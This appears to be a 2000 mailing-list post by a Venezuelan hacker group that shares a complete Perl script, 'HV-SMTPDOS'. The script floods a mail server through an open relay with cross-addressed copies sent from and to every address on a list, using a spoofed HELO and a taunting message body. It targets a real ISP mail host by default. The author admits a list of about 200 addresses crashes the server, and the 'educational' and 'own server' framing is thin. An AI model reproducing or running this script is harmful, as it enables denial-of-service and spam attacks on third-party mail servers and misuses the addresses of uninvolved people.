Hi
I am DoctorX , from Hackers Venezuela http://www.hven.com.ve
email = d0ct0r_x@hven.com.ve
here I sent to you a perl script named "HV-SMTPDOS"
this program take a list of valid emails address
and send thought a smtpserver many copies as you want
to each emails address in the list
the porpouse of this program is test
the ability of your mail server ( your own server )
to response sending emails
if the list contain more than 200 emails address
it will  cause that the server stops (crash)

excuse my bad english

DoctorX
-----------------------------------------------------
email : d0ct0r_x@hven.com.ve
http://www.hven.com.ve - Security
http://www.bactery.8m.com - Linux - Unix - Security
-----------------------------------------------------



------------------------ hv-smtpdos.pl ------------------------------
#!/usr/bin/perl
# Hackers Venezuela http://www.hven.com.ve
# HV-SMTPDOS SMTP D.O.S Attack
# By DoctorX email: d0ct0r_x@hven.com.ve 16/02/2000
#
# Gracias a: Kliber ....................... HotDog Manager
# darkdeath ....................... lainus man
# dunkelseite ....................... Ulcera
# LabX ....................... A Real Hackers Lab
# UC ....................... Old Friends and Girls
# Drake ....................... Pascalin
# HVLAN ....................... The WAR Zone
#
# Este programa es capaz de leer una lista de direcciones de correo desde
# un archivo y enviar un mensaje a toda la gente de esa lista atraves de
# un servidor smtp, el chiste esta en que los emails se envian de forma
# cruzada cada uno envia y recibe de los otros del resto de la lista tantas
# copias como se le diga, o sea :
# total de emails = cant_de_direcciones*cant_de_copias
#
# si la lista es de unos 200 emails la cosa se pone fea para el servidor
# que recibe todos los emails, si las cuentas son todas del mismo sitio
#
# Nota : Este programa es solo con fines educativos no soy responsable
# del uso que se le de al mismo
#
# Argumentos desde la linea de comandos
#
# copias(copies) : cantidad de copias del mensaje que se desea enviar
# lista_emails(emails_list) : archivo que contiene una direccion email por 
linea
# smtp_server : servidor de correo que acepta relay
#

use IO::Socket;

# Variables por Defecto

$fake_server = "www.mocosoft.com" ;
$smtp_server = shift || 'mail.cantv.net' ;
$smtp_port = 25 ;
$lista_emails = shift || 'default.txt';
$copias = shift || '5'; # por defecto se realiza la misma operacion 5 veces
$mensaje = " La Hora X\n
Jejejejeje Si usted Creyo \n
que los Hackers no Existen !!!\n
Que Piensa de Esto ? \n
Jejejejejej\n\n";
$y = 1; # puntero numero 1
$z = 1; # puntero numero 2

# Presentacion de inicio
$linea = " ======================================================\n";
print $linea;
print " Hackers Venezuela http://www.hven.com.ve\n";
print " uso: hv-smtpdos [smtp_server] [lista_emails] [copias]\n";
print " [smtp_server] :\t$smtp_server\n";
print " [lista_emails] :\t$lista_emails\n";
print " [copias] :\t$copias\n";
print $linea
print " Enviando Emails ...........! \n";

# Cuerpo del Programa

# Leyendo lista de Emails

open (LISTA,"$lista_emails");
$count = 0 ;
while ($entrada = <LISTA>){
chop $entrada;
$count++;
@emails[$count] = $entrada ;
}
close(LISTA);

# Inicializando Contador de Emails Enviados

$cant = 0;
$cp = 1 ;

# Lazo Magico para enviar los emails

while ($cp < $copias+1){
   while($y < $count+1){
     while($z < $count +1){

# abriendo el socket de conexion con el servidor
      $remote = IO::Socket::INET -> new (
      Proto => "tcp",
      PeerAddr => $smtp_server,
      PeerPort => $smtp_port) ||
      die "No se Puede Establecer Conexion: $!\n";


# Enviando Comandos al Servidor de Correos
      print $remote "$fake_server\n\n";
      print $remote "mail from: $emails[$y]\n\n" ;
      print $remote "rcpt to: $emails[$z]\n\n" ;
      print $remote "data\n\n";
      print $remote $mensaje;
      print $remote ".\n\n";


# Aumentando el Valor de los contadores


      $cant++;
      $z++;

# Esperando un tiempo prudencial para enviar el siguiente
# menos de 4 segundos no funciona , como lo se ? practica
     sleep(4);
     print $remote "quit\n\n";
     close($remote);}
     $y++; }
     $cp++;
     $y = 1;
     $z = 1;}

print " Total de Emails Enviados :$cant\n";
print $linea ;

------------------------ hv-smtpdos.pl ----------------------------






______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com